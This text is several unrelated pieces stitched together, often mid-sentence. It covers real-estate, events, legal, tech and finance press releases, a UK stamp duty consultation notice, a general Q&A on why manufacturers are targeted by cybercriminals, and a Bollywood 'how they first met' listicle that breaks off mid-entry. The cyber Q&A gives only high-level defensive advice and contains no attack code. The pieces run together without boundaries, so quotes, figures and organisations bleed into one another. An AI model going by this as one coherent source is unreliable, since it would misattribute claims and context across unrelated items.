Ward-Holloway joins Engel & Volkers Palm Beach with over 18 years of industry experience, specializing in commercial real estate in Florida, Maryland and New York. To her, real estate has always been a family business as her mother was a residential realtor and her father a contractor. As an active member of the community, Ward-Holloway sat on the Board of Directors as a Past President of the Palm Beach Board of Realtors and is a member of Realtors Association of the Palm Beaches and Realtors Commercial Society of Palm Beaches. She was also the recipient of the Commercial Society of Palm Beach Countys Rookie of the Year 2005 and Land Deal of the Year 2005. Ward-Holloway is also a principal in Engel & Volkers Banner Elk.

Engel & Volkers is a brand I can proudly stand behind, said Ward-Holloway. I was drawn in by their global industry reputaition and commitment to philanthropy  two things I highly respect.

Carr and Sollak obtained the franchise rights to Engel & Volkers Palm Beach in March 2013 and have since operated from their office on world renowned Worth Avenue located at 150 Worth Ave #236, Palm Beach, FL 33480. They are also the principals of Engel & Volkers Wellington. The new partnership dynamic will enable Engel & Volkers Palm Beach to achieve significant growth in terms of recruiting, training and increasing listing volume.

From a brand perspective, Palm Beach is an important market for us, said Timo Khammash, Managing Partner of Engel & Volkers Florida, the companys regional franchisor. The lifestyle, demographics, market values and trends and international presence are representative of the business and clientele we specialize in.

According to Zillow, the median home value in Palm Beach is $1,125,300 and is predicted to increase by 2.4-percent within the next year. The median list price per square-foot in Palm Beach is $859, which is nearly quadruple that of the neighbouring Miami, Fort Lauderdale and West Palm Beach Metro average of $223.

Press contact:

Linzee Werkmeister, Director, Public Relations & Franchise Support

Email: Linzee.Werkmeister(at)evusa.com

Tel: (239) 348-9000

About Engel & Volkers:

Engel & Volkers is a global luxury real estate brand. Founded in Hamburg, Germany in 1977, Engel & Volkers draws on its rich European history to deliver a fresh approach to luxury real estate in the Americas with a focus on creating a bespoke, white-glove concierge client experience at every stage of the home buying or selling process for todays savvy homeowner. Engel & Volkers currently operates approximately 150 shop locations with over 3,000 real estate advisors in the Americas, contributing to the brands global network of over 11,000 real estate professionals in more than 30 countries, offering both private and institutional clients a professionally tailored range of luxury services, including real estate, yachting and aviation. Committed to exceptional service, Engel & Volkers supports its advisors with an array of premium quality business services; marketing programs and platforms; as well as access to its global network of real estate professionals, property listings and market data. Each brokerage is independently owned and operated. For more information, visit http://www.evusa.com.

About Engel & Volkers Florida:

Engel & Volkers Florida is the Master License Partner of the global luxury real estate brand Engel & Volkers in the state of Florida. Recognized for uniquely recruiting, training and equipping some of the top professionals in the real estate industry, Engel & Volkers Floridas exclusive franchise model positions its license partners at the top of the premium market to gain market share and support their bottom line. The company represents franchise locations in: 30A Beaches, Belleair, Boca Raton, Bonita Springs-Estero, Cape Coral, Clermont, Delray Beach, Destin, Fort Lauderdale, Jacksonville Beach, Jupiter, Madeira Beach, Marco Island, Melbourne, Melbourne Central, Miami-Coral Gables, Olde Naples, Orlando-Winter Park, Palm Beach, South Tampa, St. Pete, Stuart, Wellington, and Windermere.

Engel & Volkers Florida is continuing to strategically strengthen and expand its presence in premium real estate markets across the state of Florida. If you would like to know more about the Engel & Volkers brand or how to join its global network, which is known for demonstrating competence, exclusivity and passion, feel free to call our corporate office, located at 633 Tamiami Trl N, Suite 201, Naples, FL 34102 USA. Tel: +1 239-348-9000. For more information about Engel & Volkers Florida, please visit florida.evusa.comOur exceptional workforce, infrastructure, academic resources, and global business network make Scotland a great place to invest, and events like the World Forum for FDI present an ideal opportunity to showcase our strengths to potential international investors.

Conway, Inc. awarded the city of Edinburgh, Scotland to host the 19th annual World Forum for Foreign Direct Investment (FDI), which will take place in May, 2022. Previously hosted by other top cities such as London, Shanghai, Amsterdam, and Brussels, the World Forum for FDI is the leading cross-border investment attraction event that brings together corporate leaders, government representatives, business advisers, and economic development agencies to discuss trends and the future of the global economy.

This is a fantastic win for Scotland. Our exceptional workforce, infrastructure, academic resources, and global business network make Scotland a great place to invest, and events like the World Forum for FDI present an ideal opportunity to showcase our strengths to potential international investors, said Steve Dunlop, CEO at Scottish Enterprise.

During the three-day forum, World Forum panelists will discuss some of the most critical topics in todays global business environment, including artificial intelligence, robotics and automation, emerging markets, cyber-security, smart cities, workforce development, and climate change. Forum delegates will take part in several seminars and networking events led by industry experts who will impart attendees with some of their sector-specific knowledge and experience.

As someone particularly proud of his Scottish heritage Im especially thrilled to announce that the 2022 World Forum for Foreign Direct Investment will be held in Scotland, one of the most stunning and vibrant countries in the world, and a magnet for foreign direct investment across industry clusters. Scotlands business-friendly environment and vast appeal as a tourist destination provide the ideal environment for a record-smashing event. My team and I are particularly excited about this one!, said Adam Jones-Kelley, President of Conway, Inc.

Conway, one of the worlds leading events and consultancies firms focusing on economic development, will organize a one-day FDI Training Seminar prior the World Forum. The seminar will outline global best practices, new marketing ideas, and the latest strategies to attract and increase foreign direct investment.

To register for the World Forum for FDI, please visit http://www.worldforumforfdi.com/register.

Journalists can register to attend the conference free of charge, pending approval. To register with your media credentials, please contact david@conway.com.

About Conway, Inc.

Since 1954, Conway has provided the worlds most comprehensive offering of services related to domestic and cross-border corporate investment. Our integrated services help government agencies attract investment, and companies planning international expansion. Conways network of corporate decision-makers invests more than $400 billion each year in new facilities, offices and sites, assisting in the creation of hundreds of thousands of jobs.

Conway has divisions which specialize in publishing, consulting, public relations, event development, marketing, advisory services, lead generation, site consulting, training and association management. Conway is the publisher of Site Selection Magazine and management firm for the Industrial Asset Management Council (IAMC). Headquartered in Atlanta, Georgia, USA, Conway has offices and representation in 29 cities around the world.

For more information, please visit http://www.conway.com

About Scottish Enterprise

Scottish Enterprise is Scotland's national economic development agency and a non-departmental public body of the Scottish Government. To deliver a significant, lasting effect on the Scottish economy, it works effectively with partners in the public and private sectors to identify and exploit the best opportunities.For more information, please visit https://www.scottish-enterprise.comAll walls have Doors How many people can a wall stop, if it is full of doors?

Doors NOT Walls, an organization of grassroots volunteers, announces that they will be starting a crowdfunding campaign that aims to build doors along the border of the USA and Mexico.

Their GoFundMe campaign began as President Trump shut down the USA government in his bid to acquire more than $5 billion in funding to build the border wall. The San Francisco based organization plans to purchase land in the four states on the border, in order to build their Freedom Doors. These doors will welcome immigrants to the USA.

Doors NOT Walls, through their GoFundMe campaign has an initial goal of raising $5 million, a small fraction of the funds sought by the Trump administration. Once the organization reaches their goal, they will start acquiring land in Arizona, New Mexico, Texas, and California. This land will be used to begin building their Freedom Doors as well as establishing Sanctuary Stations that will help immigrants who are seeking asylum.

We believe that the only way to welcome immigrants and help them start a new life is to take action ourselves and not to wait for any government or corporation to come up with a solution, some day in the future  we need a solution now! said Eric Swan, Founder and President of Doors NOT Walls.

Doors NOT Walls slogan, How many people can a wall stop, if it is full of doors? expresses the frustration of the public in efforts to close the border at all costs.

About Doors NOT Walls:

Doors NOT Walls, is a San Francisco based organization of volunteers that aim to counter the building of walls along the USA and Mexico borders. Instead of walls, they want to build doors to welcome immigrants while helping them start a new life.

Individuals who are interested in donating to the campaign of Doors NOT Walls can go to the groups GoFundMe page: https://www.gofundme.com/doors-not-walls or write to: mail(at)doorsnotwalls.org

Contact: Eric Swan

Company: Doors NOT Walls

Telephone: 1-415-470-4331

Email: mail(at)doorsnotwalls.org

Website: https://doorsnotwalls.org/

GoFundMe: https://www.gofundme.com/doors-not-wallsChaffin Luhana LLP, a boutique national plaintiffs-only law firm, is pleased to announce it will now offer its exceptional local and national legal services through a newly updated and redesigned singular website: ChaffinLuhana.com.

The purpose of the reorganized and restructured site is to bring together its practice areas across the firms three offices in New York City, Pittsburgh, and West Virginia. The firm had different websites that served different markets in the past and combining the sites into one will allow for a more unified approach that serves the convenience of clients, referring counsel, and others, both locally and nationally.

The change also reflects the firms dedication to service and excellence to its clients in injury cases and in all that it does, as it simplifies for clients the process of finding helpful information and legal expertise, and reflects a commitment by the firm to provide the most cutting-edge, relevant and useful tools for engagement with the legal community.

Were excited to have our online presence more accurately mirror our firms high level of professionalism and service, said Chaffin Luhana founding partner Eric Chaffin. Having one site to serve all of our practice areas and locations will make it much easier for clients, partners, vendors, and others to contact us, interact with us, and obtain needed information. Most importantly, it creates an even more prominent platform from which we can continue to fulfill our mission of Doing Good by Doing Right. Every Day. In Everything We Do. This includes the philanthropic activities we regularly perform through the firm and the Chaffin Luhana Foundation.

The updated and integrated website features a wealth of information on current complex litigation involving prescription drugs, medical devices, drinking water and other toxic contamination, sexual abuse and assault, auto and trucking crashes, and product recalls.

As part of the consolidation, the firms website that served its greater Pittsburgh, West Virginia and Ohio clients (OhioValleyPILawyers.com), will be merged into the updated ChaffinLuhana.com website, and the Ohio Valley site will be redirected. Meanwhile, the firm will offer the same team-focused and results-oriented approach to seeking justice for its injured clients in complex cases, using its attorneys 90+ years of combined experience and diverse backgrounds to provide exceptional representation while maintaining a high level of compassion and empathy toward its clients and communities where it practices.

About Chaffin Luhana:

Chaffin Luhana LLP is a boutique plaintiffs-only national trial firm started by former federal prosecutor Eric Chaffin and Roopal Luhana. The firm is comprised of former state and federal prosecutors, former large defense firm attorneys, former judicial law clerks, and caring and compassionate staff including an in-house social worker. The firm has been appointed by federal and state courts to important national litigations including the 3T Heater-Cooler Litigation, the Transvaginal Mesh Litigation, the Yaz Birth Control Litigation, and the Denture Cream Zinc Poisoning Litigation, among others. With over 90 years of combined legal experience, Chaffin Luhana lawyers have collected over $1 billion for survivors nationwide.

If you or a loved one has suffered an injury or death due to an accident, dangerous medication, defective medical device, or faulty product, contact Chaffin Luhana LLP for a free and confidential case review at 1-888-480-1123, or visit their website at https://www.chaffinluhana.com/.

**Attorney Advertising. Prior results do not guarantee or predict a similar outcome with respect to any future matter.Kevin Horky, Vice President of Business Development BoulderiQ Kevin Horky is a hands-on professional who provides a broad range of high-performance solutions that address the needs of BoulderiQ customers.

Boulder iQ has named Kevin Horky vice president of business development.

Kevin brings extensive experience in the medical device field to Boulder iQ. The company is an expert contract consulting firm for product development, regulatory, clinical, and quality services, specializing in the medical device and in-vitro diagnostic (IVD) industries.

Before joining Boulder iQ, Horky owned and served as president of IPAX, Inc., a contract medical manufacturing company. IPAX streamlined production processes, and created packaging and sterilization processes for medical product companies including: Arthrotech, B. Braun Medical Inc.; Baxa Corporation; Johnson & Johnson; McKinley Medical; On-Gard; Sandoz Inc.; Titmus Optical Inc.; and Venetec International Inc. Horky sold IPAX in 2017. He holds a Bachelor of Arts degree from the University of Minnesota.

Kevins focus on bringing products to market, and extensive experience with compliance and quality management systems and manufacturing, has helped clients grow and expand their engineering operations, says Jim Kasic, president and CEO of Boulder iQ. He is a hands-on professional who provides a broad range of high-performance solutions that address our customers needs. We are fortunate to have Kevin join us.

About Boulder iQ (http://www.boulderiq.com)

Boulder iQ is an expert contract consulting firm for medical and non-medical product development. Based in Boulder, Colorado, Boulder iQ offers design engineering for consumer and industrial products, with complete quality and regulatory services for the medical device and in-vitro diagnostic (IVD) industries.A Qantas 747 in aborigine paint scheme at Oshkosh, Wisconsin, for the 1995 EAA Fly-In. In front is a homebuilt RV-4 aircraft, flown by Australian Jon Johanson to Oshkosh. (EAA photo/Donna Bushman) There is probably no modern commercial airliner that is as well-known as the Boeing 747, with its distinctive hump at the front of the fuselage.

The 50th anniversary of the Boeing 747, the iconic wide-body jetliner that has carried everything from heads of state to the space shuttle, will be celebrated at EAA AirVenture Oshkosh 2019. The 67th annual Experimental Aircraft Association fly-in convention is July 22-28 at Wittman Regional Airport in Oshkosh, Wisconsin.

It is expected that several Boeing 747s will make an appearance at AirVenture during the week, with fly-bys and displays on AirVentures showcase Boeing Plaza. It will extend a legacy of the airplanes appearances at Oshkosh that include jumbo jets from as far away as Australia, New Zealand, and Iceland in past years.

There is probably no modern commercial airliner that is as well-known as the Boeing 747, with its distinctive hump at the front of the fuselage, said Rick Larsen, EAAs vice president of communities and member programs, who coordinates AirVenture features and attractions. For a half-century, the 747 has allowed people to reach destinations around the world in ways that were unimagined when commercial air travel began more than 80 years ago. We look forward to saluting that legacy in flight at the Worlds Greatest Aviation Celebration at Oshkosh this summer.

The genesis of the Boeing 747 came in the mid-1960s, when Pan American Airlines founder Juan Trippe asked Boeing to design an aircraft that could meet the rising demand of air travel, which was outstripping the capacity of the Boeing 707s then commonly used for long-distance routes. The Boeing 747 made its maiden flight on February 9, 1969, and entered airline service less than a year later.

The airframe has been continually upgraded over the past 50 years to the current 747-8 model, which has been selected as the aircraft the U.S. government will use for the new Air Force One. The 747 is still widely used by airlines and carriers around the world and according to Boeing, has carried roughly the equivalent of the worlds population as well as such unusual cargo as the space shuttle.

Specific aircraft and programs in conjunction with this anniversary will be announced as they are finalized.

About EAA AirVenture Oshkosh

EAA AirVenture Oshkosh is the Worlds Greatest Aviation Celebration and EAAs yearly membership convention. Additional EAA AirVenture information, including advance ticket and camping purchase, is available online at http://www.eaa.org/airventure. EAA members receive lowest prices on admission rates. For more information on EAA and its programs, call 1-800-JOIN-EAA (1-800-564-6322) or visit http://www.eaa.org. Immediate news is available at http://www.twitter.com/EAA.Chris MacKenzie, Chief Marketing Officer, Biscom

Biscom, a leading provider of secure document transfer solutions for regulated industries, announced that software industry veteran, Chris MacKenzie, is joining the company as Chief Marketing Officer.

MacKenzie was previously President of Intrepid Wind, a management consulting firm he founded, President of the Harvard Business School Association of Boston, with seven years of service on its Board of Governors, Vice President of Marketing at Black Duck Software, now a division of Synoptics, and Vice President of Fixed Income Trading Systems at Bear Stearns, acquired by JP Morgan. He holds degrees from the Massachusetts Institute of Technology and Harvard Business School.

"Chris has deep industry knowledge and experience in our space and is one of the most technical CMOs I know," according to Bill Ho, CEO of Biscom. "I'm excited to work closely with Chris to help us refine and execute on our corporate strategy of helping companies securely share their confidential email, files, documents, and other data, and expand our business in both established and new markets."

Biscom is a trusted provider of secure cloud services and enterprise solutions to healthcare, financial services, government, and other industries. The company enables some of the worlds largest organizations, including Partners Healthcare, UMB Financial, FedEx, and the Internal Revenue Service to secure data and communications of information such as patient records, mortgage applications, customs documents, tax records, and legal documents.

I am excited to be joining a team of professionals who are dedicated to creating technology solutions that enable customers to improve the lives of millions of people, shared MacKenzie. Through its over 3,000 customers, Biscoms software and cloud services enable patients to receive the care they need, help families get financing for their homes, and assist citizens to obtain services they need from the government.

About Biscom

As the leading provider of secure document transfer solutions for highly regulated industries such as healthcare, government, legal, and financial services, Biscom continues to spearhead data security with its enterprise secure file transfer, collaboration, and fax solutions. Biscom uses its thirty years of experience to help some of the worlds largest organizations securely transmit and share information, keeping confidential data protected. Biscom leads the industry in innovation and outstanding customer support. Learn more at http://www.biscom.com.

IBM PartnerWorld in San Francisco The award recognizes Belatrixs strengths in providing world-class services to our customers. Weve made significant investments in our capabilities, particularly around our cloud and AI services - as well as in other emerging technologies.

Belatrix Software, a leading software development company, has been awarded the New Ecosystem award for excellence by IBM. The award was presented to Belatrixs Senior VP of Business Development, Santiago Noziglia, at IBM PartnerWorld in San Francisco. The award recognizes excellence and innovation among partners of IBM. It was part of IBMs major Think conference, where more than 40,000 people are expected to attend.

IBM Think brings together leading business and IT experts and professionals, to explore new opportunities. PartnerWorld meanwhile is an annual event for executives of some of the key partners of IBM. More than 8,000 partners joined IBM, reflecting the strength of its ecosystem.

During the event, executives discussed key themes - focusing on the importance of modernizing IT, and how partners are building their expertise in specific areas of IBM. Such areas include Watson AI, cloud, security, and the internet of things. Organizations continue to need help in migrating to the cloud, whilst taking into consideration their security and operational needs.

Belatrix Senior VP of Business Development, Santiago Noziglia, also participated in a panel discussion, moderated by Jorge Goulu, VP IBM Partner ecosystems in Latin America. The panel discussion examined how customers are benefiting from the value generated by new technologies, in particular cloud computing and artificial intelligence. Santiago spoke about how Belatrixs vision for how the cloud will continue to evolve, and how organizations will continue to benefit from it.

Santiago Noziglia commented that the award recognizes Belatrixs strengths in providing world-class services to our customers. Weve made significant investments in our capabilities, particularly around our cloud and AI services - as well as in other emerging technologies. Were in the process of significantly ramping up our centers of excellence, to provide expertise and guidance to companies looking to enhance their digital innovation agendas.

About Belatrix Software

Belatrix Software helps companies thrive in the digital world. Organizations partner with Belatrix to turn ideas into high quality, innovative software based on highly-tuned Agile development processes. Customers use Belatrix's digital transformation services to create best-in-class software products, lower time to market, and gain competitive edge. Belatrix's dedicated labs, focusing on UX, Blockchain, Cloud, mobile, RPA, DevOps, and QA automation, help organizations become digital leaders.

Belatrix's clients include both established Fortune level and emerging, venture backed firms. Some of the firm's clients include Disney, Adobe, AOL, PwC, and Shutterfly. Belatrix is a South American company with offices in New York, San Francisco, Barcelona, Mendoza, Buenos Aires, Bogota and Lima. For more information, visit https://www.belatrixsf.com.Poppy MacDonald of USA Facts will deliver the 2019 commencement address at Scripps College Given the current climate of alternative facts and fake news, a nonpartisan, data-driven organization like USAFacts is more relevant than ever."

Poppy MacDonald, president of USA Facts, will deliver the address at 89th commencement exercises on Saturday, May 18, 2019.

USAFacts is a nonprofit, nonpartisan civic initiative that aims to make government numbers more available, accessible, and understandable to Americans. Prior to joining USAFacts in 2018, MacDonald was the president and chief operating officer of Politico USA, a political journalism company; National Journals publisher, president, and chief revenue officer; Politico Pros executive director of business development, overseeing the launch of Politicos first paid subscription model; and a partner at Gallup, Inc., where she launched the World Poll and led the healthcare practice. MacDonald began her career serving members of Congress representing her Pacific Northwest hometown on both the Senate and House sides of Capitol Hill, and currently resides in Seattle with her husband and two children.

A first-generation college student, MacDonald majored in history while at Scripps. She studied off campus during her junior year, spending the fall semester in Nepal trekking the Himalayas and the spring and summer interning in Washington, D.C., at The McLaughlin Group, the weekly radio roundtable of analysis and opinion.

MacDonald stands out as one of very few women to occupy a high-profile national media position. How she navigates the current political sphere is one of many topics that attracted the commencement committee to her as a potential speaker.

Given the current climate of alternative facts and fake news, a nonpartisan, data-driven organization like USAFacts is more relevant than ever, wrote members of the student commencement speaker committee, which oversaw the commencement speaker selection process that began in fall 2017.

While on campus, MacDonald will also be meeting with students for talks and workshops. Im looking forward to hearing directly from students on the selection committee about what they hope to hear, said MacDonald. Im most excited to have time to connect with the faculty and students in a setting that still feels like home.

Scripps College was founded in 1926 by Ellen Browning Scripps, a pioneering philanthropist and influential figure in the worlds of education, publishing, and womens rights. Today, Scripps is a nationally top-ranked liberal arts college and womens college with approximately 980 students, and is a member of The Claremont Colleges in Southern California. The mission of Scripps College is to educate women to develop their intellects and talents through active participation in a community of scholars, so that as graduates they may contribute to society through public and private lives of leadership, service, integrity, and creativity.Americas Mutual Banks (AMB) filed a comment letter with the Federal Deposit Insurance Corporation (FDIC) regarding the deposit insurance application process, particularly as it relates to the formation of de novo mutual banks. 

The detailed comment letter welcomed FDIC Chairman McWilliams initiative in examining the root causes for the decline in de novo insurance of accounts and highlighted the imbalance in the relationship between the FDIC and federal chartering agencies that has halted de novo development since the passage of The FDIC Improvements Act of 1991. Most importantly, the letter decried the absence of FDIC action on any de novo mutual institution for almost half a century. 

The letter brings attention to the almost cavalier disregard by the agencies in conforming key requirements to the needs of mutual banks and the FDICs failure to provide any practical guidance on how a group attempting to form a mutual bank could qualify for FDIC insurance and meet Basel III capital rules. The lack of attention to the special needs of mutual banks is highlighted by the fact that the FDICs recent issuance of the FDIC handbook for organizers of de novo institutions provides little useful guidance on applying for insurance of accounts for a de novo mutual. 

AMB concluded the comment letter by providing nine recommendations to the FDIC. Among them, AMB urged the FDIC and OCC to provide more practical guidance in establishing forms of capital to support a de novo mutual bank and asked the FDIC to take a leadership role in establishing an outreach program to contact various sponsors and affinity groups that would be interested in organizing new mutual banks. Given that mutual form institutions are a historically vital part of the fabric of many communities, AMB also recommended that the FDIC take action and encourage the formation and sponsorship of mutual banks by foundations, community groups, and other charitable organizations to serve inner cities and rural communities which suffer from the lack of banking alternatives. 

About Americas Mutual Banks

Americas Mutual Banks is an association of like-minded mutual banks dedicated to preserving and advancing the mutual banking form. Americas Mutual Banks is headquartered at 701 8th Street NW, Suite 700, Washington, D.C. 20001. Please visit http://www.americasmutualbanks.com or contact Douglas Faucette, Locke Lord LLP, at 202-220-6961 with any questions or requests for additional information on Americas Mutual Banks.Alogent prides itself on delivering solutions that challenge the status quo, are easily and quickly adopted by users, and bring our clients a fast return on investment, said Dede Wakefield, Alogents CEO.

Alogent (@AlogentCorp), a global leader in providing banks and credit unions with deposit automation, item processing, enterprise information management, and digital banking solutions, today announced a 30% year-over-year growth in mobile transactions for its 2018 fiscal year. Alogents mobile solution is scalable and customizable, supporting the diverse needs of community banks and credit unions, as well as the largest Tier 1 banks in North America and the United Kingdom.

Alogent prides itself on delivering solutions that challenge the status quo, are easily and quickly adopted by users, and bring our clients a fast return on investment, said Dede Wakefield, Alogents CEO. The mobile transaction growth we saw in 2018 is a testament to this, and we thank our partners and customers for their continued trust in Alogent to bring them to their next goal.

Alogents single-platform for banks and credit unions treats every document or check the same, regardless of its method of capture. This offers a cost-savings and simplicity for the financial institution, removing silos and delivering a consistent user experience regardless of whether the transaction started on a mobile device, in a branch, or through another channel.

About Alogent

Alogent provides proven, end-to-end payment processing, content management, and digital banking technologies to financial institutions, currently including over 2,400 credit unions, community and regional banks, and some of the largest national and international institutions. Our solutions are versatile, scalable, user-friendly, and exceptionally stable. Because of our relentless focus on innovation, our clients consistently exceed their productivity, financial, and customer experience goals. Learn more about Alogent at http://www.alogent.com.

Media Inquiries

Alogent

Wendi Klein

pr(at)alogent(dot)com, +1-678-966-0844As part of the governments effort to help control the rise of house prices, a new surcharge levied on non-UK resident home buyers is being considered, according to HM Treasury.

According to the announcement, proceeds of the new surcharge would be put towards measures to tackle rough sleeping. The government has committed to ending rough sleeping by 2027.

The Stamp Duty Land Tax: non-UK resident surcharge consultation will look at how a new 1% increase to stamp duty costs for non-UK residents buying residential property in England and Northern Ireland would work. This follows a commitment made by the Prime Minister and a subsequent announcement of the proposed rate at Budget 2018.

Mel Stride, Financial Secretary to the Treasury and Paymaster General said: "The UK is and will remain an open and dynamic economy, but some evidence shows that non-UK resident buyers of UK property could be inflating house prices.

A 1% surcharge could help more people own their own homes in the future, and its proceeds will go towards tackling rough sleeping, boosting our plan to halve the numbers of rough sleepers by 2022.

The consultation will cover all aspects of the charge, including how non-residents will be defined and how it applies to companies. Further details will be published after the consultation has concluded on how much the charge is expected to raise.

The charge will apply to any person who is non-resident in the UK, including certain UK-resident companies which are controlled by overseas shareholders. However, crown employees working abroad  such as military service personnel  will not have to pay the surcharge at all whilst those who buy a residential property and then move to the UK will be eligible for a refund of their extra payment."EXPERT OBSERVER

Why is the manufacturing industry a target for cyber criminals?

In two words, money and information. Most cybercriminals want cold, hard cash or access to trade secrets.

In its 2018 Data Breach Investigations Report, global telecommunications and technology company Verizon reveals that financial motives are behind just over half of all data breaches in the manufacturing sector, while espionage makes up most of the other incidents as spies seek to gain confidential information from companies.

The findings show what the cyber crooks are after, with personal information (32 per cent), company secrets (30 per cent) and credentials (24 per cent) topping the list. With the latter, stolen credentials can be used to ramp up cyberattacks and access other data types.

Chris Tappin, Principal Consultant at the Investigative Response team for the Verizon Threat Research Advisory Centre, points out that first-mover advantage is crucial in the manufacturing sector, so cyber criminals are hell-bent on trying to pinch companies best ideas. If they can obtain trade secrets, such as plans and R&D information, and then use these to bring an idea to market first, they can potentially make big financial wins, he says.

Whereas organised crime gangs are responsible for most attacks on retailers, accommodation, food services groups and financial services companies, state-sponsored hackers carry out the greatest percentage of manufacturing attacks. These rogue governments want intellectual property as a means to score trade success and often see manufacturers as an easy target because old IT systems are difficult to update and protect. Better still, they know that many manufacturers supply chains are large and exposed, giving them an opportunity to infect many suppliers and businesses at the same time.

What are some high-profile examples of attacks on manufacturers?

One of the best known is the attack on networks of defence contractor Lockheed Martin, and the worlds largest aerospace manufacturer Boeing, in a series of strategic data breaches on top-secret plans and information around a decade ago.

Authorities were stunned at the scale of the espionage in which hackers accessed designs and data on the F-35 Lightning II joint strike fighter jet, the B-2 stealth bomber, the F-22 jet, space-based lasers, missile navigation and tracking systems, and more.

Following the FBIs 2014 arrest, and the subsequent jailing, of a businessman reportedly working with the Chinese military, the hackers modus operandi was revealed to involve phishing emails to employees at the target companies and installing malware on their systems which allowed remote access to directories containing the trade secrets, along with other sections of the companies networks.

How do cyber criminals typically target manufacturing companies?

Traditionally, its via phishing campaigns to gain unauthorised access to systems and data, tricking executives and employees into revealing login credentials and other private information. Networks, as a result, become highly exposed.

The initial vector of intrusion is often not that sophisticated, says Simon Ezard, a Senior Security Consultant at the Verizon Threat Research Advisory Center. Unsophisticated cases involve attackers sending phishing emails, sometimes to thousands of people and in the hopes that a percentage of those will fall victim.

Verizons research indicates that in most cases manufacturers can expect the cyberattacks to come from outside the business. In about nine out of 10 data breaches, external players are to blame, with employees responsible for just a small percentage of incidents.

What action should manufacturers take to limit threats?

With crucial company data, trade secrets and business reputations at stake, it is incumbent on manufacturing leaders and innovators to protect their intellectual property.

There are some basic means to combat cyber criminals, including being vigilant, educating employees about the dangers of phishing scams, keeping anti-virus software and patching up to date, encrypting data and using multi-factor authentication to limit the chances of attacks.

According to Verizon, manufacturers should also be taking three overarching actions to mitigate risks:

Separate highly sensitive and secret data from the rest of their networks, and restrict access to only those individuals who absolutely require it to do their jobs.2. Implement data-loss-prevention controls to identify and block transfers of data by employees, and especially those who are terminated or resigning. Ensure that employees quickly report phishing attacks so they can be better understood and combatted.

Make people your first line of defence, Ezard says. Give your employees cybersecurity and social engineering training. Help them learn how to spot a phishing email and empower them to speak up to their IT department if they become suspicious.Savills Australia have successfully managed the sale of two Darwin CBD office buildings which have been acquired by Melbourne based property fund Peak Equities for $50 million.

Jack Morrison and Peter Chapple of Savills Capital Transactions introduced the buyer who purchased both Darwins Old Admiralty Towers, located at 68 The Esplanade (pictured above), and the nearby Heritage building.

They worked in conjunction with Seth Chin from Darwins Chin Associates to sell the assets.

The buildings were both previously a part of the Jalouise property portfolio.

Jack Morrison said, combining our knowledge of active buyers with Seths knowledge of the unique Darwin market yielded a great result for both parties."

Peak Equities currently portfolio is valued at near $250 million comprising nine syndicated trusts operating across retail, industrial and office sectors.

These assets' are the group's first purchase first Darwin purchasse.

Both properties are currently 100 percent leased with a mix of government and established tenants in place/

They have staggered lease expiries and an average remaining lease term of more than 12 years.

Our client was largely attracted to the opportunity due to the prominent Esplanade location and Darwins strong economic growth potential, Mr Morrison stated.Bollywood and romance goes hand-in hand. The classic love stories are an integral part of Bollywood and every common man can easily relate to aspect of it when it comes to life on the big screen.

As the big day of love approaches, it is definitely a good idea to rlook back at all the filmi love stories we have absolutely adored over the years.

We have compiled a series of movies and the imaginative settings when our filmi love birds first met each other.

Romantic Railway station scene

We start with the love story that has truly stood the test of time.

Image Source: Prokerala

Never would anyone know that this movie was going a prominent motif in many Shah Rukh Khan movies to come. This happened with the directorial debut of Aditya Chopra's Dilwale Dulhaniya Le Jayenge where people are introduced to the love birds Simran and Raj who meet on a train in Europe.

This scene is how Raj gets stuck in the back compartment of the train and he spots Simran who is running to catch the train.One of the most iconic scenes of Hindi cinema was created when Raj offers his help and extends his hand to Simran who is frantically running towards the train for the Europe trip.

We all know how that ended!

Love at first sight at a traffic signal

Image Source: Prokerala

This scene also gives a glimpse of the real life love story of Hrithik Roshan, who spotted his wife while waiting on a traffic signal.

The quintessential love story was about to give the country a new heartthrob and Bollywood, a quintessential success story.

Released in 2000, the movie 'Kaho Na... Pyaar Hai' was the launch vehicle of Hrithik Roshan and Amisha Patel. Hrithik Roshan is a street musician, who finds love when he spots Ameesha at a traffic signal.

In bollywood style, their eyes meet and in a short time, Rohit aka Hrithik gives her a brief lesson in grooming.

Doesn't it look cute and mildly weird but hey, who's complaining?

During the riots

The movie Gadar takes its plot from the era of the Partition with the the unusual romance between a naive Indian Sikh and a rich Muslim girl. Sunny Deol who plays a truck driver marries Ameesha Patel to save her life from rioters.

Image Source: Prokerala

The scene is when the Tara Singh played by Sunny Deol shields Ameesha Patel (Sakeena) from the rioters, and cuts his finger with a knife and put Sindoor on Sakeena's forehead with his blood . He says, "Lo ho gayi Sikhni , meaning Now she is a Sikh, when the rioters point out that he is protecting an enemy's daughter.

At a wedding

Image Source: Prokerala

This love story of a boy meets girl and falls in love. Vivek Oberoi (Aditya) is attending his friend's wedding he spots Suhaani (Rani Mukerji) and is so smitten that he starts wooing her relentlessly and finally they fall in love.

Their first encounter is marked with a memorable song Chalka re.

During a morning jog

Image Source: Prokerala

This is one of the most iconic love stories in Bollywood. Qayamat Se Qayamat Tak takes a whole new deviation from the ordinary love stories The story of two kids of rival families falling in love was well received by the audiences and as a result make debutants Aamir Khan and Juhi Chawla stars overnight.

The scene when Juhi captures a photograph of Amir khan when he goes out for jogging. The love story starts when Amir and juhi meet for the first time when she goes to show the photographs.

At a restaurant

Image Source: Prokerala

This is the love story about a 64-year-old Buddhadev (Amitabh Bachchan) who is also the chef and owner of London's top Indian restaurant. One of his signature dishes is sent back from the table in his restaurant and when he meets the patron, he falls in love with her.

She is a 34-year-old Nina Verma (Tabu), who also gets intimidated by his towering stature.

Their first stand-off results in subsequent meetings and well, you know how Cheeni Kum ends.

Next door!

Image Source: Prokerala

Now this movie was all about making love promises and forgetting about it. Who does it better than the Hearthrob,Ranbir Kapoor who manages to flirt three girls at one time. The scene is quite romantic when Ranbir tries to wow Bipasha Basu, asking her for a date. His stance changes all in a while when another girl clad in a swimsuit emerges from behind the door

His aggressive stance changes dramatically when a sexily-clad girl emerges from behind the door.

At a graduation party

Image Source: Prokerala

This movie Dil Chahta Hai starring Amir Khan, which is also Farhan Akhtar's directorial debut is one of the all time favourites. Akash (Aamir)plays a mischievous character who is usually not interested in studies and loves spending time with his friends.

Love at first sight happens when he spots a Preity Zinta (Shalini) at his graduation party and proposes her infront of his friends and makes love vows, embarrassing and irritating Preity Zinta.

The scene offers much hilarity too.

Back home

Image Source: Prokerala

One of the most romantic movies of 90's, Lamhe stars Anil and Sridevi in a coming of age romance. Viren (Anil Kapoor) comes back to India after the death of his wife Pallavi (Sridevi) following an accident and an emergency surgery to protect her unborn child.

